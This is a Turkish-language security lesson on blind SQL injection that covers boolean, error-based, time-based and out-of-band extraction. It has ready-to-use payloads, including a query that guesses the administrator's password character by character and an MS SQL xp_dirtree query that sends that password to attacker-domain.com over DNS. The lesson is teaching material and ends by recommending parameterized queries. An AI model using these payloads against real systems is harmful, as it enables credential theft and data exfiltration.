Blind SQLi ve OOB Veri Çıkarma Teknikleri

Blind SQL Injection: Görmeden Keşfetmek

Blind SQL Injection (kör SQL enjeksiyonu), uygulamanın SQL enjeksiyonuna karşı zafiyetli olduğu ancak HTTP yanıtlarının ilgili SQL sorgusunun sonuçlarını veya veritabanı hatalarının ayrıntılarını içermediği durumlarda ortaya çıkar. UNION tabanlı saldırılar gibi teknikler burada işe yaramaz çünkü bu teknikler enjekte edilen sorgunun sonuçlarını yanıtta görebilmeye dayanır.

Aşağıdaki şema, SQL enjeksiyonunun ana kategorilerini özetlemektedir. Bizim bu dersteki odağımız "Inferential (Blind) SQLi" ve onunla yakından ilişkili olan "Out-of-band SQLi" olacaktır.

Temel olarak, bir saldırgan olarak amacımız, veritabanına doğru ya da yanlış olarak değerlendirilebilecek bir koşul enjekte etmek ve uygulamanın bu iki duruma verdiği farklı tepkileri gözlemlemektir. Bu tepkiler üç ana kanaldan gelir:

1. Boolean Tabanlı (Koşullu Yanıtlar): Uygulama yanıtının içeriği değişir.
2. Zaman Tabanlı (Koşullu Gecikmeler): Uygulama yanıtının süresi değişir.
3. Bant Dışı (Out-of-Band): Uygulama, kontrolümüz altındaki harici bir sisteme ağ isteği yapar.

Şimdi bu teknikleri sırayla inceleyelim.

1. Boolean ve Hata Tabanlı Çıkarım

En temel kör enjeksiyon tekniği, doğru veya yanlış bir koşula bağlı olarak uygulamanın yanıtını değiştirmektir. PortSwigger makalesindeki "Welcome back" mesajı örneği bunu mükemmel bir şekilde göstermektedir.

Saldırgan şu adımları izler:

1. Koşul Enjeksiyonu: ...xyz' AND '1'='1 (Doğru) ve ...xyz' AND '1'='2 (Yanlış) gibi payload'lar göndererek uygulamanın farklı yanıtlar verip vermediğini test eder.
2. Veri Çıkarımı: Bu evet/hayır mekanizmasını kullanarak veritabanından bilgi sızdırır. Örneğin, 'administrator' kullanıcısının parolasının ilk karakterinin 's' olup olmadığını doğrulamak için:

   ' AND (SELECT SUBSTRING(Password, 1, 1) FROM Users WHERE Username = 'Administrator') = 's
   

   Bu sorgu doğruysa "Welcome back" mesajı alınır, yanlışsa alınmaz. Bu işlem her karakter için tekrarlanarak tüm parola elde edilebilir.

Bazen uygulama yanıtının içeriği değişmez ama enjekte edilen koşul doğru olduğunda bir veritabanı hatası tetiklenebilir. Örneğin, 1/0 gibi bir bölme işlemiyle hata oluşturulabilir.

' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a  -- Hata verir
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a  -- Hata vermez

Bu da yine bir evet/hayır mekanizmasıdır ve Error-based SQLi olarak adlandırılır.

Bu tür saldırıları manuel olarak yapmak son derece yorucudur. Bu nedenle, süreç genellikle script'lerle otomatikleştirilir. Aşağıdaki video, bu otomasyonun nasıl yapıldığını, filtrelerin nasıl aşıldığını ve süreci hızlandırmak için kullanılan algoritmik yaklaşımları pratik olarak göstermektedir.

2. Zaman Tabanlı Çıkarım

Peki ya uygulama, koşul doğru da olsa yanlış da olsa, hata da alsa almasa da, her zaman tamamen aynı yanıtı veriyorsa? Bu durumda, gözlemleyebileceğimiz tek şey zamandır.

Zaman tabanlı (time-based) teknikte, enjekte ettiğimiz koşul doğruysa veritabanını belirli bir süre (örneğin 10 saniye) beklemeye zorlarız.

• MS SQL: IF (1=1) WAITFOR DELAY '0:0:10'--
• PostgreSQL: SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
• MySQL: IF(1=1, SLEEP(10), 0)--

Eğer HTTP yanıtı 10 saniye gecikmeyle gelirse, enjekte ettiğimiz koşulun doğru olduğunu anlarız. Bu yöntem, boolean tabanlı yöntemlere göre çok daha yavaştır çünkü her bir evet/hayır sorusu için saniyelerce beklemek gerekir. Ancak diğer tüm kapılar kapalı olduğunda güvenilir bir alternatiftir.

3. Bant Dışı (Out-of-Band) Veri Sızdırma (OAST)

En gelişmiş ve genellikle en etkili kör enjeksiyon tekniği, Out-of-Band Application Security Testing (OAST) veya bant dışı yöntemlerdir. Bu yöntemde, uygulama ile aramızdaki normal HTTP iletişim kanalının dışına çıkarız.

Özellikle sorgunun asenkron olarak işlendiği senaryolarda bu teknik vazgeçilmezdir. Asenkron bir işlemde, uygulama isteği alır, arka planda bir iş başlatır ve kullanıcıya hemen bir yanıt döner. Arka plandaki işin ne kadar sürdüğü veya başarılı olup olmadığı ana yanıtı etkilemez. Dolayısıyla ne boolean ne de zaman tabanlı teknikler işe yaramaz.

OAST tekniğinde, zafiyetli sorguyu kullanarak veritabanı sunucusunun, kontrolümüz altındaki bir sunucuya bir ağ isteği (genellikle DNS veya HTTP) yapmasını sağlarız.

Bu tekniğin nasıl çalıştığını daha iyi anlamak için aşağıdaki kaynakları inceleyelim.

Veriyi sızdırmak için, sızdırılacak veriyi DNS sorgusunun bir parçası (genellikle subdomain) haline getiririz. Örneğin, MS SQL'de xp_dirtree adlı genişletilmiş bir saklı yordam (stored procedure), bir UNC yoluna erişmeye çalışırken DNS çözümlemesi yapar. Saldırgan bu özellikten faydalanır.

'; DECLARE @data varchar(1024);
SET @data = (SELECT password FROM users WHERE username='administrator');
EXEC('master..xp_dirtree "//' + @data + '.attacker-domain.com/a"');
--

Bu sorgu çalıştığında, veritabanı [sızdırılan_parola].attacker-domain.com adresi için bir DNS sorgusu yapar ve parola, saldırganın DNS sunucusu loglarına düşer.

Bu tekniğin gerçek bir senaryoda nasıl uygulandığını ve karşılaşılabilecek pratik zorlukları görmek için aşağıdaki vaka analizini inceleyelim.

Sonuç

Bu dersimizde, klasik SQL enjeksiyonunun ötesine geçerek, doğrudan geri bildirim almadığımız "kör" senaryolarda veri sızdırmanın üç temel tekniğini analiz ettik.

Ana Çıkarımlar:

• Blind SQL Injection, doğrudan sonuçlar yerine uygulamanın dolaylı davranışlarına (içerik, zamanlama) dayalı bir çıkarım oyunudur.
• Boolean tabanlı saldırılar hızlıdır ancak otomasyon ve genellikle ikili arama gibi akıllı algoritmalar gerektirir.
• Zaman tabanlı saldırılar yavaştır ancak diğer yöntemler işe yaramadığında güvenilir bir son çaredir.
• Out-of-Band (OAST), özellikle asenkron işlemlerde en güçlü tekniktir ve veriyi tek seferde, daha verimli bir şekilde sızdırmaya olanak tanır. Ancak veritabanı sunucusundan dışarıya ağ erişimi gerektirir.
• Tüm bu ileri seviye saldırıların temelindeki kök neden, kullanıcı girdisinin SQL sorgularına güvenli olmayan bir şekilde (genellikle string birleştirme ile) dahil edilmesidir. Savunma yine aynıdır: her zaman ve istisnasız olarak parametreli sorgular (parameterized queries) kullanmak.

Kullanıcıdan gelen bir girdinin anında nasıl istismar edilebileceğini, çıktısını görmesek bile, artık biliyoruz. Peki ya kötü niyetli girdi önce veritabanında saklanır ve daha sonra uygulamanın tamamen farklı bir bölümünde, farklı bir bağlamda çalıştırılırsa ne olur? Bir sonraki dersimizde, bu "İkinci Dereceden Enjeksiyon" (Second-Order Injection) saldırılarını ve bunları kod incelemesi sırasında nasıl tespit edeceğimizi analiz edeceğiz.